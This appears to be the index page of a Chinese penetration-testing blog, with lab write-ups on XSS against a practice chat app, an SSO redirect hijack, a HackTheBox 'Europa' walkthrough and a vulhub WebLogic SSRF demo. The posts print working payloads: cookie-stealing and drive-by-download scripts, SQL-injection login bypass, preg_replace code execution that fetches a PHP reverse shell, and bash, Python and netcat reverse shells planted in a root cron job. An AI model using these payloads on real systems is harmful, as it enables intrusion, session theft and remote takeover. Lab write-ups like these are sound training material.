InfoSec Learning


  • 首页

  • 归档

  • 标签

  • 搜索

Wall-rce与绕过waf(下)

发表于 2019-11-18 | 分类于 training

参考资料:绕过waf之命令执行

阅读全文 »

渗透实战第三版实验csk-web之XSS

发表于 2019-11-16 | 分类于 web

参考资料: 下载地址:

  • http://thehackerplaybook.com/get.php?type=csk-web

echo 目标机器的ip chat >> /etc/hosts

首先我们看下这个网站,注册一个账号并登陆。网页上有一些存在漏洞的提示。

59

反射型XSS

http://chat:3000/chatchannel/1

反射型XSS是最简单的xss,因为网页没有过滤用户输入,或者过滤不完全,导致用户可以输入js语句,根据js语句的不同,可以任意执行js代码。

案例一,script标签

<script>alert('xss')</script>

60

案例二,过滤script标签的情况

<svg onload=alert(1788)>

2

案例三,点击弹窗

<b onmouseover=alert('XSS')>Click Me!</b> 一旦鼠标移到Click Me!,就提示xss


一旦点击就弹窗

1
2
3
<script>window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";</script>

<body onload="alert('XSS')">

3

案例四,跳转并文件下载

kali准备恶意代码exe,并开启web服务:

1
python -m SimpleHTTPServer 8001

kali的ip为192.168.159.129

访问路径为:http://192.168.159.129:8001/test.exe

在页面上输入以下代码:

1
<script>var link = document.createElement('a'); link.href = 'http://192.168.159.129:8001/test.exe'; link.download = ''; document.body.appendChild(link); link.click();</script>

于是客户端就会跳转到这个下载地址,http://192.168.159.129:8001/test.exe

这个跳转并文件下载要配合存储型xss。

案例五:cookie窃取

将下面的php代码保存为cookie.php

1
2
3
4
5
6
7
8
9
<?php
header ('Location:https://google.com');
$cookies =$_GET["c"];
$file = fopen('log.txt','a');
fwrite($file, $cookies . "\n\n");
?>

注意第二行header(),不能删除,如果没有这一行,那么目标点击窃取cookie的恶意链接,就会访问http://192.168.159.129:8002/cookie.php?c=xxxxx
这样很容易被发现。

然后用php开启web服务,

php -S 192.168.159.129:8002

这是kali的地址:http://192.168.159.129:8002/cookie.php

存在漏洞的页面输入以下代码:

1
<script>document.location="http://192.168.159.129:8002/cookie.php?c="+document.cookie</script>

61

成功获取到了admin账号的cookie。

但是这里有个问题,就是使用cookie登陆时候,发现cookie失效的时间太短了。

62 经过数次尝试,因为输入窃取cookie的js代码,会跳转到google.com,这会导致用户的cookie退出网页,使得cookie直接失效。。

要注意的是,速度要快。。cookie过期跟服务端的网页设置有关。 63

阅读全文 »

子域名搜集

发表于 2019-11-13 | 分类于 tools

上一篇说到了基于字典爆破的子域名搜集,这一篇讲一下基于搜索的子域名搜集。

阅读全文 »

绕过waf之命令执行

发表于 2019-11-11 | 分类于 waf

引子

人生不是做菜,不能等所有材料准备好了再下锅。

阅读全文 »

Wall-rce与绕过waf(上)

发表于 2019-11-09 | 分类于 training

参考资料:

  • http://tylerrockwell.github.io/defeating-basic-auth-with-hydra/
阅读全文 »

sso登陆劫持漏洞

发表于 2019-10-30 | 分类于 web

引子

最近项目遇到这个漏洞,但是我没有发现。。

正文

参考资料:

  • 腾讯单点登录系统跨域劫持漏洞

  • https://lvwei.me/passport.html#toc_8

sso单点登陆,用户一次登陆,所有系统都可访问。

sso设计目的是简化登陆方式,可能有很多系统,但是多个系统都是一个机构的,每个系统每次都要分别登陆就很复杂。

举个例子,OpenID是一个很流行的sso框架,

用户提交1. openID 2.openID Provider(提供者)

网站重定向到openID provider认证,登陆成功后,再重定向回网站。

这里可以理解为,门卫不知道你是谁,然后让你去某某处盖章,你去盖章完成后回到门卫处,门外验证红章没问题就让你通过。

案例

1
http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2Fabc.com%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

此处有一个参数backurl=abc.com,当修改此参数为backurl=abc.com.test

网页向abc.com.test,也就是openID Provider(提供者)提交一串openID。

提交后,网页提示无法连接abc.com.test,并且抓取到了一段数据包,包含了登陆成功的token。

4

由于客户可以伪造openID Provider(提供者),此处产生了sso登陆劫持漏洞。下列的sid是token。如果使用以下token,再次访问http://abc.com.test/Account/Login,可以发现已经登陆。

1
2
http://abc.com.test/Account/Login?ReturnUrl=%2f&sid=c4d4e77e80ad1ee5c682
8122a38b90d18077aeea4feb963a6c465e4691f65e767f11f935de6c3616

攻击方式

攻击者可以将backurl修改为自己的地址,然后发送恶意连接 http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2F恶意地址%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

一旦受害者点击链接,并输入正确的用户名和密码。恶意地址会收到如下的get请求“GET /Account/Login?ReturnUrl=%2f&sid=96c2182d0da29dc720fab468734fef9e47ced2993df16fda6b03c98e92f6e77475b4cf56623430d6 ”

攻击者就可以使用token sid=xxx,以受害者的身份进行登陆abc.com。

阅读全文 »

Europa(php rce)

发表于 2019-10-27 | 分类于 training

引子

一天可以当两天用,可是当十天不行。 不要低估日积月累的作用。

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6b:55:42:0a:f7:06:8c:67:c0:e2:5c:05:db:09:fb:78 (RSA)
|   256 b1:ea:5e:c4:1c:0a:96:9e:93:db:1d:ad:22:50:74:75 (ECDSA)
|_  256 33:1f:16:8d:c0:24:78:5f:5b:f5:6d:7f:f7:b4:f2:e5 (EdDSA)
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
| Not valid before: 2017-04-19T09:06:22
|_Not valid after:  2027-04-17T09:06:22
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://10.10.10.22 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.22], PoweredBy[{], Script[text/javascript], Title[Apache2 Ubuntu Default Page: It works]

web

http://10.10.10.22

目录扫描

1
2
3
4
5
6
7
8
9
10
11
gobuster -u https://admin-portal.europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k
https://admin-portal.europacorp.htb/data (Status: 301)
https://admin-portal.europacorp.htb/js (Status: 301)
https://admin-portal.europacorp.htb/vendor (Status: 301)
https://admin-portal.europacorp.htb/dist (Status: 301)
https://admin-portal.europacorp.htb/logs (Status: 301)
https://admin-portal.europacorp.htb/server-status (Status: 403)
---
gobuster -u https://www.europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k

gobuster -u https://europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k

查找版本漏洞

searchsploit apache 2

Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py searchsploit -m exploits/linux/webapps/42745.py python3 42745.py -u https://10.10.10.22/ -a

Optionsbleed 漏洞未发现

https

ssl/http Apache httpd 2.4.18 ((Ubuntu)) 参考资料:http://liaoph.com/openssl-san/

SAN(Subject Alternative Name) 是 SSL 标准 x509 中定义的一个扩展。使用了 SAN 字段的 SSL 证书,可以扩展此证书支持的域名,使得一个证书可以支持多个不同域名的解析。

sslyze --regular 10.10.10.22 4

? 以前遇到过 将域名和ip绑定,访问网站就会正常显示。而直接通过ip访问,网站不能正常解析。 当时没有深入探究,是什么导致的。

5

1
2
3
4
5
6
7
8
X509v3 Subject Alternative Name:   {'DNS': ['www.europacorp.htb', 'admin-portal.europacorp.htb']}
echo 10.10.10.22 admin-portal.europacorp.htb >> /etc/hosts
echo 10.10.10.22 www.europacorp.htb >> /etc/hosts
echo 10.10.10.22 europacorp.htb >> /etc/hosts

https://admin-portal.europacorp.htb 一个登陆表单
https://www.europacorp.htb apache2默认配置页面
https://europacorp.htb 同上

wget https://admin-portal.europacorp.htb –no-check-certificate -O admin-portal.europacorp.htb

sql注入

33

burp将数据包copy to file,选择保存为1.txt sqlmap -r 1.txt --dbms mysql -p email --force-ssl --dump

获得数据库内容后,得知了用户名是admin@europacorp.htb

以下列的数据登入后台。 email=admin@europacorp.htb’ or ‘1’=’1&password=098098

代码执行

看到网页上有个输入点,立刻想到了命令执行漏洞,burp抓包看一下。

34

1
2
3
4
5
6
7
8
9
pattern=/ip_address/&ipaddress=123123&text="openvpn": {

这个代码是页面输入123123的时候,页面post的参数。

如果修改pattern=/ip_address/,为pattern=/vtun0/,可以观察到页面的响应改变了,此处做了一个替换。123123的位置由ip_address的位置改为了vth0的位置。

这里是用正则表达式替换的,而php的函数preg_replace()有个代码执行漏洞。

**preg_replace** 函数 **/e** 模式执行代码的时候会转义特殊字符。

参考资料:

  • http://www.madirish.net/402
  • 深入研究preg_replace与代码执行
  • 常见web漏洞-command execution

pattern=/^(.*)/e&ipaddress=system(wget http://10.10.14.18:1234/php-reverse-shell.php -P /tmp);&text=

pattern=/^(.*)/e&ipaddress=system(php -f /tmp/php-reverse-shell.php);&text=

35

得到一个权限为www-data的shell

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp;wget http://10.10.14.18:80/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

查看信息搜集结果,
内核版本挺高的,不存在内核漏洞提权
有效的用户有root、john

存在的定时任务crontab
cat /var/www/cronjobs/clearlogs

#!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>

---
ls -al /var/www/cronjobs/clearlogs
-r-xr-xr-x 1 root root 132 May 12  2017 /var/www/cronjobs/clearlogs

ls -al /var/www/cmd/logcleared.sh
ls: cannot access '/var/www/cmd/logcleared.sh': No such file or directory

于是可以通过定时任务执行/var/www/cmd/logcleared.sh,

本地监听8899端口,然后shell执行
touch /var/www/cmd/logcleared.sh

echo 'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8899));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /var/www/cmd/logcleared.sh
失败
echo "bash -i >& /dev/tcp/10.10.14.18/8899 0>&1" > /var/www/cmd/logcleared.sh
失败

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 8899 >/tmp/f" > /var/www/cmd/logcleared.sh;chmod +x /var/www/cmd/logcleared.sh

经过尝试,最后一个payload是最好用的。

1

总结

在sql注入输入admin@europacorp.htb’ or ‘1’=’1的时候,页面js脚本总是弹出用户名不是邮箱,这时候该怎么办呢?

这里有一个小技巧:

点击intercept is on,通过burp proxy拦截输入用户名密码里的数据包,然后修改数据包中的内容,修改完成后,点击intercept is off。

这时候数据包就会直接发往服务器,你就可以看到网页已经登陆了。

这是绕过js验证的一个技巧。

阅读全文 »

Sneaky(snmp默认口令泄露敏感信息)

发表于 2019-10-26 | 分类于 training

enum

阅读全文 »

应届生的面试题

发表于 2019-10-11 | 分类于 Interview

网络协议

阅读全文 »

zipper docker容器靶机渗透

发表于 2019-10-02 | 分类于 training

你越功利,世界对你越神秘。废话不说,开始紧张刺激的渗透吧!

阅读全文 »

weblogic ssrf

发表于 2019-09-29 | 分类于 web

参考资料:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

docker空间管理

1
2
3
4
du -h --max-depth=1 寻找当前目录,哪个文件夹占用空间最大
docker system prune -a  删除镜像
docker system df    查看磁盘使用情况
docker-compose down -v 删除正在用的实例

ssrf

1
2
3
4
5
6
7
cd /usr/share/vulhub-master/weblogic/ssrf
docker-compose build
docker-compose up -d
pkill rinetd  ##关闭进程
rinetd -c /etc/rinetd.conf  ##启动转发
---
docker-compose down -v

ssrf是服务端请求伪造,意思是服务器接受我们的请求后,然后向内网发起扫描等有害操作。该漏洞出现的原因是服务器需要向内网其他机器获取资源,在请求的过程中,参数可被攻击方修改。

下图是weblogic典型的界面。下面我们看看怎么利用它。 1

访问以下地址:

1
2
3
http://18.189.18.237:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

http://18.189.18.237:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7002

用burp intruder可以看到7001页面显示的长度,和其他端口不同,说明7001端口开放。 5

如果内网有其他web漏洞可以反弹shell,例如redis…也可以通过上面的operator=http://127.0.0.1:7002参数反弹shell

防御方法

过滤参数,禁止参数访问内网IP,例如上文所说的operator参数。

阅读全文 »

第三次实习

发表于 2019-09-21 | 分类于 experience

不知不觉暑假已经过去了,而我混入安全圈的目标,也悄悄达成了。估计毕业以后应该能做渗透测试吧。

阅读全文 »
1 … 9 10 11 … 34
whale

whale

Aimed at Pro Penetration tester. Email me "weaponmaster3070@gmail.com"

407 日志
35 分类
48 标签
github
© 2021 whale
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访客数 人 总访问量 次